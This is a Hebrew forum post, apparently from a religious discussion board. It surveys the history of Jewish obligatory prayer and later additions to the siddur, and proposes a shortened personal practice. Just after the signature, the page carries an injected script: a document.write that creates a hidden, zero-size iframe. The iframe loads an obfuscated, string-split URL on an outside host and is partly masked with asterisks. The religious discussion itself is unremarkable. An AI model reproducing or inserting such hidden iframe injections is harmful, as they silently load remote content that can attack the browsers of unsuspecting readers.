תפילה על רגל אחת

אבל חיבור בגודל ספר נבצר ממני לכתוב. ולמען האמת, אם אכתוב, מי ירצה לקרוא? אנו רוצים ללמוד ולהבין אבל מהר, בקיצור. שיהיה מעניין, קריא, וניתן להבנה על רגל אחת.

אז זה מה שאני מנסה לעשות. (זה גם מה שהבטחתי להשתדל לעשות השנה בחול המועד סוכות. קיימתי! תודה לאלוקים!).

האם יש מצות תפילה? כמה פעמים ביום, אם בכלל? עד כמה שאני זוכר, דעת הרמב"ם היא שיש חובת תפילה מן התורה פעם ביום. אחרים מקילים יותר שחובה זו אינה אלא בשעת הצורך, ולפי זה התפילה שהם חושבים עליה היא תפילת הקריאה לעזרה.

חז"ל הפכו את התפילה הזו למה שנקרא אצלנו "תפילת 18". וחייבו אותה פעמיים ויש אומרים שלוש פעמים ביום.

מדוע חז"ל חייבו יותר תפילות ומדוע קבעו נוסח מסויים? אכתוב את השערותי, שכמובן אינן רק שלי. התפילות שחז"ל ייסדו קיבלו תאוצה לאחר חורבן המקדש, כיון שהעם חש שניתק הקשר בינו לבין אלקים ובמה תתבטא הבחירה שבחר בנו מכל העמים אם הרס את מקדשו ולא חמל? הניסוח נועד לא רק עבור כבדי הלשון כדברי הרמב"ם אלא בכלל, כיון שיש אמונה בסיסית, שהיא אמונה שגויה, שצריך יכולת ניסוח כדי להתפלל. ולא היא. ה' שומע את זעקת הלב. מבטיח לכם. מהנסיון.

אז חז"ל סיפקו לנו נוסח שעוזר לנו וסידרו את הבקשות וההודאות הנחוצות. אבל למעט שלוש ראשונות (לצערי איני יכול לתאר כאן את מבנה התפילה אבל גשו ובדקו בסידור) ושלוש אחרונות, שאר הברכות הן רק פתיחה וסיום, ובאמצע יכול כל אחד מאיתנו להוסיף כרצונו. וכבר אמרו שהרוצה להאריך יאריך כמשה והרוצה לקצר כנ"ל. לפי המדרש משה התפלל מאות תפילות רק כדי לבטל את הגזירה ולהיכנס לארץ (ונדחה, ה' שומע אבל יכול לסרב). וכן קיצר מאד על אחותו, "א-ל נא רפא נא לה". ושתי אבחנות אלו מופיעות כמובן בגמרא.

זו בעצם חובת תפילה מדאורייתא ודרבנן. איך הגענו למה שכתוב בסידור? טוב, פרק חדש!

הדברים הבאים מופיעים בכל ספר שמסכם את תולדות התפילה, למשל במחקרו הישן והטוב של אלבוגן (פרופסור ורב רפורמי, אבל כמדומה שספרו על תולדות התפילה הוא המקיף מכולם).

ראינו כיצד התפילה מן התורה לבשה את הניסוח הפורמלי למחצה של "18" שלנו, עם התאמות לחגים וכיו"ב.

כמו כן קבעו חז"ל חובה לקרוא קריאת שמע (הפרשיות המסויימות מן התורה) וקבעו לפניהן ולאחריהן ברכות, בערב יותר מאשר בבוקר.

(וחז"ל קבעו גם את ברכות השחר, שמתחילות ברגע שאדם פוקח עינים ומתעורר, אבל לפני כמה מאות שנים החליף מישהו מפורסם את הודאת "אלקי נשמה שנתת בי טהורה היא וגו' " ב"מודה אני לפניך" מפני שחש שלא מתאים לומר את שם השם גם אם הוא ישן בפיז'מה. וכן נהגו לצערי).

ולפני התפילה נהגו להתכונן. אז התחילו לומר קצת מזמורי תהלים (מסוף הספר אבל לא היה להם מנין וקיבוע) ואז הוסיפו לפני ואחרי ברכה פותחת וסוגרת ("ברוך שאמר" ו"ישתבח").

אה, וחז"ל השאירו מקום לתפילה פרטית בתור "תחנון" כדי שאדם ימצא מקום לבקשותיו האישיות. אבל כאן הפריע אותו צורך שהניע את חכמינו לנסח את תפילת "18". תחנון? תנו לנו ניסוח קבוע, בבקשה! לא יתכן שאתפלל כך סתם מהלב...

וזה ממש הכל.

חז"ל גם תיקנו לחזור על תפילת עמידה, החזן עבור הציבור, אבל הרמב"ם הלך וביטל את החובה הזו מפני שלא הקשיבו ממילא. וכן, מי אינו יודע להתפלל אם יש לו סידור (בקהילות בחו"ל שבהן אין יודעים עברית, או אצל בעלי תשובה וכאלו, יתכן שיש טעם וצורך בחזרה).

יש מרחק גדול בין מה שתארתי בתור התפילה המחוייבת מדברי חכמים לבין מה שאתם מכירים מבית הכנסת. כולן, החל מן התפילה שלפני התפילה ועד לתפילה שאחרי התפילה, כולן מאוחרות, אולי הן תלויות במנהג ואולי גם זה לא.

והתוספות לתפילה הולכות ומתרבות עד היום הזה. יש תוספות מימי הגאונים או קודם כגון "קדושה דסידרא". יש קטע ארוך על תשבחות המלאכים שנדחף לתוך ברכה ראשונה לפני קריאת שמע והוא דומה מאד לתפילות ותשבחות כת קומראן... יש קדישים. יש ויש ויש, עד "עלינו לשבח" שכל יהודי אומר בתור הדבר האחרון לפני שאפשר ללכת הביתה מבית הכנסת...

אז יש סידור. והציפיה של אדם ירא שמים בלי ידע בתולדות התפילה וניתוח חובותיה כפי שכתבתי כאן, אדם כזה תמים וטוב, ירצה לומר את כולו, כל מה שיש בסידור - רק שזה המון המון. אבל זה לא עוד יותר טוב?

או שלא.

ידיעה היא תהליך בלתי הפיך. ויש לו מחיר, גם בייסורי נפש. אין דומה מי שניגש לסידור בתמימות שלוותה אותו מאז למד לקרוא ב"מכינה" (או, נניח, כבעל תשובה בצעדים ראשונים בבית הכנסת) למי שניגש לסידור עם ידע הלכתי והיסטורי, או עם ידע פילוסופי...

בית הכנסת נזכר במשניות שונות הרבה לפני החורבן. מה שלא כתוב במשניות הוא מה נעשה בו. האם היה זה מין בית עם לכינוסים, או לדרשות, או מקום תפילה כמו אצלנו היום? מחלוקת החוקרים...

לתפילת הציבור יש קבע. זמן קבוע, נוסח קבוע, מקום קבוע. אבל ניתן לטעון שבית הכנסת נועד לצרכים חברתיים ותרבותיים, והתפילה היתה מניע חזק שמשך ומושך יהודים אל בית הכנסת. מה ששומר עליהם בקהילה ומעניק להם הטבות מתבקשות. (אפשר לקבל גמ"חים, יש מי שיבוא לשמוח בחתונות ולהשתתף בצער וגו' וגו' ).

אכן לפעמים התפילה בבית הכנסת פותחת את הלב. מי לא חש את יום כיפור מתחיל בשעה שהש"ץ מתחיל "כל נדרי" ומי אינו רוצה לבכות כשמתירים להתפלל עם העבריינים (הנה, גם לי מותר עכשו להיות עם כולם). מעטים מאד מכירים את ההיסטוריה של ההיתר הזה. אבל מה זה משנה. הניגון והחויה המתחדשת עיקר.

וכן ההרגל עושה את שלו גם לטובה. חז"ל אמרו שאדם צריך לקבוע לו מקום כפי שייחסו לאברהם אבינו. ואכן, כאשר אני עמל להשתדל ולחשוב על המילים בתפילה ועושה זאת, לא תמיד בקלות, פעם אחר פעם, באותו מקום מסויים, אני קונה הרגל טוב שעוזר לי בזמנים קשים.

ויש מנינים טובים, מנינים ישיבתיים רציניים, ואולי גם חסידיים כאלו. ובעצם היכן לא. מנין טוב מושך אותי אחריו ועוזר לי להתרכז, מה שנקרא גם "לכוון".

אחרי שהצגתי את תפיסתה של התפילה כמה שהעולם עומד עליו, מה שמאפשר לי קשר ייחודי עם ה', עלי להודות שרק לפעמים אני זוכה לתפילה כזו. פעמים רבות אין לי חשק להתפלל. וזה יכול לנבוע מסיבות שונות. אבל זה כך.

ובמיוחד כאשר הסידור הארוך הארוך ממתין לי, ובית הכנסת עם מנהגיו ותוספותיו מצפה שאתנהג כמו כולם.

אדגיש כי הבעיה של הסידור הארוך אינה רק למישהו ביקורתי כמוני, שמבחין בין תוספות לסידור מבחינה היסטורית ולכן הרוב אינו מחייב באמת (לפי תפיסת ההלכה שלי שצריך לבאר בהזדמנות אחרת). הבעיה היא גם שהוא באמת ארוך. האם אדם מסוגל להתפלל בהתלהבות את כל מה שמודפס בשחרית? כולל קרבנות? בלי להתעייף? יום אחרי יום? ולהשאיר כוח לשאר דברים, אפילו ללימוד תורה? כמה בני אדם מיוחדים שמסוגלים כאלו יש?

אם אמקד, נראה שהבעיה היא בשלוש רמות. הפער בין מה שהציבור עושים ולא מקובל עלי. (אני מתאר את עצמי כמובן). הפער בין מה שהסידור לכאורה מחייב אבל אני לא רוצה. והפער בין החובה להתפלל לבין הרגשתי בימים שונים ומשונים.

ואלו הם הפתרונות שאני מוצא:

אפשר להגיע לבית הכנסת ולא להתאמץ לדקלם עם כולם. כן צריך להשקיע בחלקים החשובים, שהזכרתי לעיל.

(ברכות השחר הן בבית. בבית כנסת זה כולל קריאת שמע וברכותיה אך ללא התוספות המאוחרות, וכן תפילת עמידה עם הניסוח האישי שלי, וכן תחנון קצר או ארוך במילים שלי אחר כך. אם רוצים אפשר לומר מזמור אחד או שנים עם ברכת ברוך שאמר ואחריהן ישתבח. ולדעתי – זהו זה).

אז מה עושים בשעה שהציבור מנסים לצאת ידי חובה לפי מנהגם? ובכן, בשביל מה יש ספרים? האם אין מה ללמוד בינתים? איני מתכוון לעלונים המציפים אותנו שחוששני שאפילו מיעוטם אינו יפה. מדוע לא לקבוע סדר לימוד מיוחד לזמן התפילה? אפשר לסיים ששה סדרי משנה (עם קהתי).

זה הפתרון לשתי הבעיות המטריחות את האדם אשר כמוני. לחילופין, אפשר גם להישאר ולהתפלל בבית או במקום פרטי או בלב היער או בכל צורה של התבודדות. מי אומר שחייבים מנין? בוודאי שלפעמים המנין מפריע. אם כי חשוב להגיע לתפילה במנין בשבת בבוקר ואולי גם בימים שני וחמישי. וכאמור, בלי בית כנסת אין קהילה!

אבל מה עושים כשאני עצמי איני רוצה להתפלל?

האם עלי להכריח את עצמי?

אז גם הנוסחאות האמיתיות של חז"ל, בלא התוספות, גם הן יותר מדי לפעמים.

מה עושים? או לא עושים?

אני יכול לחשוב על שתי תשובות, ושתיהן נכונות.

אליבא דאמת, לא חייבים. להפך, אולי אסור. לא רק שזו לא חובה. זה איסור! לומר את שם ה' סתם מתוך דקלום, עבירה!

אבל זו רמה גבוהה מאד של שמירת מצוות ומצות תפילה. איני רואה את עצמי בדרגה כזו (באמת). אני מעדיף להסתכן ולנסות להתפלל עם כוונת המילים והלב כל פעם ופעם גם כשקשה. סוף סוף, האם אני מצליח להתפלל בכוונת המילים את כל תפילת העמידה? אולי פעמים נדירות. אבל זה טוב מאד. זה מה שה' רוצה ממני.

וכן, אם אבדוק את עצמי אם אני מסוגל להתפלל כשאיני יכול, אני משער שכמעט לא אגיע להתפלל. ואז אני גם חושש שאמציא לעצמי תירוצים.

אבל מי שבאמת משתדל לכוון וקשה לו, יש שני פתרונות בינים.

האחד הוא להתפלל יותר בקצרה. כלומר ראש וסיום של אחת מן הברכות האמצעיות. "רפאנו ה' – ברוך אתה ה' רופא חולי עמו ישראל", "ברך עלינו את השנה הזאת – ברוך אתה ה' מברך השנים". זהו.

הפתרון השני נקרא "הביננו". זה ניסוח מתומצת ביותר, וכדאי להכירו ולהחזיק עותק שלו בסידור האישי. צריך כמובן לומר לפניו ולאחריו את הברכות הפותחות והמסיימות. וצריך להשקיע בלימוד ותשומת לב לכל מילה. יש מעט מאד כאלו!

לפיכך, בשעת הדחק, הרוצה להתפלל ינקה את גופו ויטול ידיו, יניח תפילין, יקרא קריאת שמע עם הברכות (בלי התוספות) ויתפלל תפילה קצרה בכוונת הלב והמילים. וזוהי קבלת עול מלכות שמים ומצות תפילה בשלימות (כותב שורות אלו על פי לשון הרמב"ם).

כתבתי מה שכתבתי מתוך חשש עצום. כמה עלולים לזלזל בתפילה בגלל מה שכתבתי? אבל כמה יכוונו יותר בתפילה? תיק"ו.

אז אני פונה לה' שלא אכשיל ולא אכשל, ואעזור למי שרוצה להתפלל ומתקשה. ממש כמוני.

ואני מחכה לבית הכנסת שיחזיר עטרה ליושנה ויתפללו בו רק את התפילה המחוייבת... מי שמכיר או פתח, נא לפרסם באשכול זה. תודה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

תוקן על ידי מיימוני ב- 02/10/2015 12:54:51